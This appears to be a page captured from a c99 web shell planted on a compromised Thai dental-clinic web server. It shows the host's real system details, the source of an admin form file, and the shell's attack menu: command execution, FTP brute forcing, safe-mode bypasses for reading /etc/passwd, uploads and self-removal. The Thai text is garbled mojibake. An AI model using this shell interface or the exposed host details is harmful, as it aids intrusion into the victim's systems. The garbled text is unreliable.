!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Dental/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddDentis.php (13.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();

?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<script language="JavaScript" type="text/JavaScript">
function browse()
{
form1.Imag1.src = form1.Img1.value;
}
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

function chk(c){
if (c.checked){
document.all.Soulmate.disabled=true;
document.all.Total_child.disabled=true;
}
else{
document.all.Soulmate.disabled=false;
document.all.Total_child.disabled=false;
}
}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}   
function handleEnter (field, event) {
        var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
        if (keyCode == 13) {
            var i;
            for (i = 0; i < field.form.elements.length; i++)
                if (field == field.form.elements[i])
                    break;
            i = (i + 1) % field.form.elements.length;
            field.form.elements[i].focus();
            return false;
        } 
        else
        return true;
    }    
</script>
<style type="text/css">
<!--
.style1 {color: #000066}
-->
</style>
<table width="815" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="815" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="DentisList.php">¢éÍÁÙŷѹµá¾·Âì</a></font></legend>
          <label> </label>
        <div align="center">
          <form action="InsertDentis.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
            <table width="73%" height="56" border="0" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
              <tr bgcolor="#eeeeee">
                <td height="30" colspan="3"><div align="center"><font face="Tahoma, MS Sans Serif"><strong><font color="#003366" size="4">à¾ÔèÁ¢éÍÁÙŷѹµá¾·Âì</font></strong></font></div></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td width="23%" height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">àÅ¢·Õè㺻ÃСͺâäÈÔÅ»</font></div></td>
                <td width="2%"><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td width="75%"><font face="Tahoma, MS Sans Serif">
                  <input name="Orderlist" type="text" id="Orderlist" size="10" />
                </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">¤Ó¹Ó˹éÒ</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font size="2" face="Tahoma, MS Sans Serif">
                  <input type="radio" name="First_name" value="·¾." onkeypress="return handleEnter(this, event)">
                  ·¾.
                  <input type="radio" name="First_name" value="·¾­." onkeypress="return handleEnter(this, event)">
                  ·¾­. </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">ª×èÍ - ä·Â </font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif">
                  <input name="Name" type="text" id="Name" size="20" />
                  <font size="2">¹ÒÁÊ¡ØÅ
                    <input name="Lastname" type="text" id="Lastname" size="20" />
                </font></font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">Firstname(Eng)</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif">
                  <input name="Name_eng" type="text" id="Name_eng" size="20" />
                  <font size="2">Lastname(Eng)
                    <input name="Lastname_eng" type="text" id="Lastname_eng" size="20" />
                </font></font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">à¾È</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font size="2" face="Tahoma, MS Sans Serif">
                  <input type="radio" name="Sex" value="ªÒÂ" />
                  ªÒÂ
                  <input type="radio" name="Sex" value="Ë­Ô§" />
                  Ë­Ô§</font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="24"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">Çѹ/à´×͹/»Õ·ÕèàÃÔèÁ·Ó§Ò¹</font></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma, MS Sans Serif">Çѹ·Õè
                  <select name="mDate" id="mDate" class="select" >
                        <? getDay1to31();?>
                </select>
                  à´×͹
                  <select name="mMonth" id="mMonth" class="select" >
                    <? getThaiMonth();?>
                  </select>
                  »Õ ¾.È.
                  <input name="mYear" type="text" class="input" id="mYear" size="5" maxlength="4">
                </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="24"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">Çѹ-à´×͹-»Õ 
                  à¡Ô´</font></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma, MS Sans Serif">Çѹ·Õè
                  <select name="mDate1" id="mDate1" class="select" >
                        <? getDay1to31();?>
                </select>
                  à´×͹
                  <select name="mMonth1" id="mMonth1" class="select" >
                    <? getThaiMonth();?>
                  </select>
                  »Õ ¾.È.
                  <input name="mYear1" type="text" class="input" id="mYear1" size="5" maxlength="4">
                </font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#eeeeee">
                <td height="22" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">ÈÒʹÒ</font></div></td>
                <td bordercolor="#CCCCCC">&nbsp;</td>
                <td nowrap="nowrap" bordercolor="#CCCCCC"><font size="2" face="Tahoma, MS Sans Serif">
                  <input type="radio" name="Religion" value="¾Ø·¸" onkeypress="return handleEnter(this, event)" />
                  ¾Ø·¸
                  <input type="radio" name="Religion" value="¤ÃÔʵì" onkeypress="return handleEnter(this, event)" />
                  ¤ÃÔʵì
                  <input type="radio" name="Religion" value="ÍÔÊÅÒÁ" onkeypress="return handleEnter(this, event)" />
                  ÍÔÊÅÒÁ
                  <input type="radio" name="Religion" value="Í×è¹æ" onkeypress="return handleEnter(this, event)" />
                  Í×è¹æ</font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="86"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">·ÕèÍÂÙè</font></div></td>
                <td>&nbsp;</td>
                <td><font face="Tahoma, MS Sans Serif">
                  <textarea name="Address" cols="50" rows="5" id="Address"></textarea>
                </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="24"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">¨Ñ§ËÇÑ´</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif">&nbsp; </font><font size="2" face="Tahoma"><span class="style1"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="ProvinceId" id="ProvinceId" class="input1">
                    <?php
           $strSQL1 
"SELECT * FROM  province  Order By  ProvinceId ";
           
$result1 mysql_query($strSQL1);
                 while( 
$rs1 mysql_fetch_array($result1))     
                     {
                 echo
"<option value=\"$rs1[ProvinceId]\" ><b>$rs1[ProvinceName]</b></option>\n";
                }
            
                
          
?>
                  </select>
                </font></strong></span></font><font face="Tahoma, MS Sans Serif">&nbsp; </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="24"><div align="center" class="style1"><font face="Tahoma, MS Sans Serif"><font size="2">â·ÃÈѾ·ì·ÕèºéÒ¹</font></font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif"> <font color="#000000" size="2">
                  <input name="Phone_1" type="text" id="Phone_1" size="10" />
                  Á×Ͷ×Í </font><font face="Tahoma, MS Sans Serif"><font color="#000000" size="2">
                    <input name="Phone_2" type="text" id="Phone_2" size="10" />
                    Email@ </font><font face="Tahoma, MS Sans Serif"><font face="Tahoma, MS Sans Serif"><font color="#000000" size="2">
                      <input name="Email" type="text" id="Email" size="25" />
                    </font></font></font></font> </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">¨º¨Ò¡ÁËÇÔ·ÂÒÅÑÂ</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif">
                  <input name="Description_1" type="text" id="Description_1" size="30" />
                  »Õ ¾.È <font face="Tahoma, MS Sans Serif"><font color="#000000" size="2">
                    <input name="Year_1" type="text" id="Year_1" size="10" />
                  </font></font></font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="22"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">੾ÒзҧÊÒ¢Ò</font></div></td>
                <td><div align="center"><font color="#FF0000" size="4" face="Tahoma, MS Sans Serif"><strong>*</strong></font></div></td>
                <td><font face="Tahoma, MS Sans Serif">
                  <input name="Description_2" type="text" id="Description_2" size="30" />
                </font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="100"><div align="center" class="style1"><font size="2" face="Tahoma, MS Sans Serif">ÃÙ»ÀÒ¾</font></div></td>
                <td>&nbsp;</td>
                <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="63%"><div align="center"> <font face="Tahoma, MS Sans Serif">
                          <input name="Img1" type="file" id="Img1" onchange="browse()" />
                      </font></div></td>
                      <td width="37%"><div align="left"><font face="Tahoma, MS Sans Serif"><img src=" " name="Imag1" width="100" height="100" id="Imag1" /> </font></div></td>
                    </tr>
                </table></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="30" colspan="3"><div align="center"><font face="Tahoma, MS Sans Serif">
                    <input type="submit" name="Submit" value="  à¾ÔèÁ  " />
                    <input type="reset" name="Reset" value="¡àÅÔ¡ " />
                </font></div></td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b><br />
    </font></td>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0153 ]--